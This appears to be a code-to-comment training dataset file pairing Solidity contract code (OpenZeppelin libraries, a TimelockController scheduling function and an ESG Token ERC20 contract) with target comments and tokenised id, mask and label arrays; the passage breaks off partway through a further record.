pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
|
* @dev Schedule an operation that is to becomes valid after a given delay./ solhint-disable-next-line not-rely-on-time
|
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
_timestamps[id] = SafeMath.add(block.timestamp, delay);
}
| 120,768 |
[
1,
6061,
392,
1674,
716,
353,
358,
12724,
923,
1839,
279,
864,
4624,
18,
19,
3704,
11317,
17,
8394,
17,
4285,
17,
1369,
486,
17,
266,
715,
17,
265,
17,
957,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
10676,
12,
3890,
1578,
612,
16,
2254,
5034,
4624,
13,
3238,
288,
203,
3639,
2583,
12,
5,
291,
2988,
12,
350,
3631,
315,
10178,
292,
975,
2933,
30,
1674,
1818,
9755,
8863,
203,
3639,
2583,
12,
10790,
1545,
9555,
6763,
9334,
315,
10178,
292,
975,
2933,
30,
2763,
11339,
4624,
8863,
203,
3639,
389,
25459,
63,
350,
65,
273,
14060,
10477,
18,
1289,
12,
2629,
18,
5508,
16,
4624,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.10;
/* ----------------------------------------------------------------------------------------
Dev: "Owned" to ensure control of contracts
Identical to https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
---------------------------------------------------------------------------------------- */
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
/* ----------------------------------------------------------------------------------------
Dev: SafeMath library
Identical to https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
---------------------------------------------------------------------------------------- */
library SafeMath {
function safeMul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a); // Ensuring no negatives
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a && c>=b);
return c;
}
}
/* ----------------------------------------------------------------------------------------
Dev: ESG Asset Holder is called when the token "burn" function is called
Sum: Locked to false so users cannot burn their tokens until the Asset Contract is
put in place with value.
---------------------------------------------------------------------------------------- */
contract ESGAssetHolder {
function burn(address _holder, uint _amount) returns (bool result) {
_holder = 0x0; // To avoid variable not used issue on deployment
_amount = 0; // To avoid variable not used issue on deployment
return false;
}
}
/* ----------------------------------------------------------------------------------------
Dev: The Esports Gold Token: ERC20 standard token with MINT and BURN functions
Func: Mint, Approve, Transfer, TransferFrom
Note: Mint function takes UNITS of tokens to mint as ICO event is set to have a minimum
contribution of 1 token. All other functions (transfer etc), the value to transfer
is the FULL DECIMAL value
The user is only ever presented with the latter option, therefore should avoid
any confusion.
---------------------------------------------------------------------------------------- */
contract ESGToken is Owned {
string public name = "ESG Token"; // Name of token
string public symbol = "ESG"; // Token symbol
uint256 public decimals = 3; // Decimals for the token
uint256 public currentSupply; // Current supply of tokens
uint256 public supplyCap; // Hard cap on supply of tokens
address public ICOcontroller; // Controlling contract from ICO
address public timelockTokens; // Address for locked management tokens
bool public tokenParametersSet; // Ensure that parameters required are set
bool public controllerSet; // Ensure that ICO controller is set
mapping (address => uint256) public balanceOf; // Balances of addresses
mapping (address => mapping (address => uint)) public allowance; // Allowances from addresses
mapping (address => bool) public frozenAccount; // Safety mechanism
modifier onlyControllerOrOwner() { // Ensures that only contracts can manage key functions
require(msg.sender == ICOcontroller || msg.sender == owner);
_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address owner, uint amount);
event FrozenFunds(address target, bool frozen);
event Burn(address coinholder, uint amount);
/* ----------------------------------------------------------------------------------------
Dev: Constructor
param: Owner: Address of owner
Name: Esports Gold Token
Sym: ESG_TKN
Dec: 3
Cap: Hard coded cap to ensure excess tokens cannot be minted
Other parameters have been set up as a separate function to help lower initial gas deployment cost.
---------------------------------------------------------------------------------------- */
function ESGToken() {
currentSupply = 0; // Starting supply is zero
supplyCap = 0; // Hard cap supply in Tokens set by ICO
tokenParametersSet = false; // Ensure parameters are set
controllerSet = false; // Ensure controller is set
}
/* ----------------------------------------------------------------------------------------
Dev: Key parameters to setup for ICO event
Param: _ico Address of the ICO Event contract to ensure the ICO event can control
the minting function
---------------------------------------------------------------------------------------- */
function setICOController(address _ico) onlyOwner { // ICO event address is locked in
require(_ico != 0x0);
ICOcontroller = _ico;
controllerSet = true;
}
/* ----------------------------------------------------------------------------------------
NEW
Dev: Address for the timelock tokens to be held
Param: _timelockAddr Address of the timelock contract that will hold the locked tokens
---------------------------------------------------------------------------------------- */
function setParameters(address _timelockAddr) onlyOwner {
require(_timelockAddr != 0x0);
timelockTokens = _timelockAddr;
tokenParametersSet = true;
}
function parametersAreSet() constant returns (bool) {
return tokenParametersSet && controllerSet;
}
/* ----------------------------------------------------------------------------------------
Dev: Set the total number of Tokens that can be minted
Param: _supplyCap The number of tokens (in whole units) that can be minted. This number then
gets increased by the decimal number
---------------------------------------------------------------------------------------- */
function setTokenCapInUnits(uint256 _supplyCap) onlyControllerOrOwner { // Supply cap in UNITS
assert(_supplyCap > 0);
supplyCap = SafeMath.safeMul(_supplyCap, (10**decimals));
}
/* ----------------------------------------------------------------------------------------
Dev: Mint the number of tokens for the timelock contract
Param: _mMentTkns Number of tokens in whole units that need to be locked into the Timelock
---------------------------------------------------------------------------------------- */
function mintLockedTokens(uint256 _mMentTkns) onlyControllerOrOwner {
assert(_mMentTkns > 0);
assert(tokenParametersSet);
mint(timelockTokens, _mMentTkns);
}
/* ----------------------------------------------------------------------------------------
Dev: Gets the balance of the address owner
Param: _owner Address of the owner querying their balance
---------------------------------------------------------------------------------------- */
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOf[_owner];
}
/* ----------------------------------------------------------------------------------------
Dev: Mint ESG Tokens by controller
Control: OnlyControllers. ICO event needs to be able to control the minting
function
Param: Address Address for tokens to be minted to
Amount Number of tokens to be minted (in whole UNITS. Min minting is 1 token)
Minimum ETH contribution in ICO event is 0.01ETH at 100 tokens per ETH
---------------------------------------------------------------------------------------- */
function mint(address _address, uint _amount) onlyControllerOrOwner {
require(_address != 0x0);
uint256 amount = SafeMath.safeMul(_amount, (10**decimals)); // Tokens minted using unit parameter supplied
// Ensure that supplyCap is set and that new tokens don't breach cap
assert(supplyCap > 0 && amount > 0 && SafeMath.safeAdd(currentSupply, amount) <= supplyCap);
balanceOf[_address] = SafeMath.safeAdd(balanceOf[_address], amount); // Add tokens to address
currentSupply = SafeMath.safeAdd(currentSupply, amount); // Add to supply
Mint(_address, amount);
}
/* ----------------------------------------------------------------------------------------
Dev: ERC20 standard transfer function
Param: _to Address to send to
_value Number of tokens to be sent - in FULL decimal length
Ref: https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/BasicToken.sol
---------------------------------------------------------------------------------------- */
function transfer(address _to, uint _value) returns (bool success) {
require(!frozenAccount[msg.sender]); // Ensure account is not frozen
/*
Update balances from "from" and "to" addresses with the tokens transferred
safeSub method ensures that address sender has enough tokens to send
*/
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
/* ----------------------------------------------------------------------------------------
Dev: ERC20 standard transferFrom function
Param: _from Address to send from
_to Address to send to
Amount Number of tokens to be sent - in FULL decimal length
---------------------------------------------------------------------------------------- */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[_from]); // Check account is not frozen
/*
Ensure sender has been authorised to send the required number of tokens
*/
if (allowance[_from][msg.sender] < _value)
return false;
/*
Update allowance of sender to reflect tokens sent
*/
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
/*
Update balances from "from" and "to" addresses with the tokens transferred
safeSub method ensures that address sender has enough tokens to send
*/
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
Transfer(_from, _to, _value);
return true;
}
/* ----------------------------------------------------------------------------------------
Dev: ERC20 standard approve function
Param: _spender Address of sender who is approved
_value The number of tokens (full decimals) that are approved
---------------------------------------------------------------------------------------- */
function approve(address _spender, uint256 _value) // FULL DECIMALS OF TOKENS
returns (bool success)
{
require(!frozenAccount[msg.sender]); // Check account is not frozen
/* Requiring the user to set to zero before resetting to nonzero */
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) {
return false;
}
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/* ----------------------------------------------------------------------------------------
Dev: Function to check the amount of tokens that the owner has allowed the "spender" to
transfer
Param: _owner Address of the authoriser who owns the tokens
_spender Address of sender who will be authorised to spend the tokens
---------------------------------------------------------------------------------------- */
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/* ----------------------------------------------------------------------------------------
Dev: As ESG is aiming to be a regulated betting operator. Regulatory hurdles may require
this function if an account on the betting platform, using the token, breaches
a regulatory requirement.
ESG can then engage with the account holder to get it unlocked
This does not stop the token accruing value from its share of the Asset Contract
Param: _target Address of account
_freeze Boolean to lock/unlock account
Ref: This is a replica of the code as per https://ethereum.org/token
---------------------------------------------------------------------------------------- */
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/* ----------------------------------------------------------------------------------------
Dev: Burn function: User is able to burn their token for a share of the ESG Asset Contract
Note: Deployed with the ESG Asset Contract set to false to ensure token holders cannot
accidentally burn their tokens for zero value
Param: _amount Number of tokens (full decimals) that should be burnt
Ref: Based on the open source TokenCard Burn function. A copy can be found at
https://github.com/bokkypoobah/TokenCardICOAnalysis
---------------------------------------------------------------------------------------- */
function burn(uint _amount) returns (bool result) {
if (_amount > balanceOf[msg.sender])
return false; // If owner has enough to burn
/*
Remove tokens from circulation
Update sender's balance of tokens
*/
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _amount);
currentSupply = SafeMath.safeSub(currentSupply, _amount);
// Call burn function
result = esgAssetHolder.burn(msg.sender, _amount);
require(result);
Burn(msg.sender, _amount);
}
/* ----------------------------------------------------------------------------------------
Dev: Section of the contract that links to the ESG Asset Contract
Note: Deployed with the ESG Asset Contract set to false to ensure token holders cannot
accidentally burn their tokens for zero value
Param: _amount Number of tokens (full decimals) that should be burnt
Ref: Based on the open source TokenCard Burn function. A copy can be found at
https://github.com/bokkypoobah/TokenCardICOAnalysis
---------------------------------------------------------------------------------------- */
ESGAssetHolder esgAssetHolder; // Holds the accumulated asset contract
bool lockedAssetHolder; // Will be locked to stop tokenholder to be upgraded
function lockAssetHolder() onlyOwner { // Locked once deployed
lockedAssetHolder = true;
}
function setAssetHolder(address _assetAdress) onlyOwner { // Used to lock in the Asset Contract
assert(!lockedAssetHolder); // Check that we haven't locked the asset holder yet
esgAssetHolder = ESGAssetHolder(_assetAdress);
}
}
|
Ensure that ICO controller is set
|
bool public controllerSet;
| 12,571,899 |
[
1,
12512,
716,
467,
3865,
2596,
353,
444,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1426,
1071,
2596,
694,
31,
17311,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
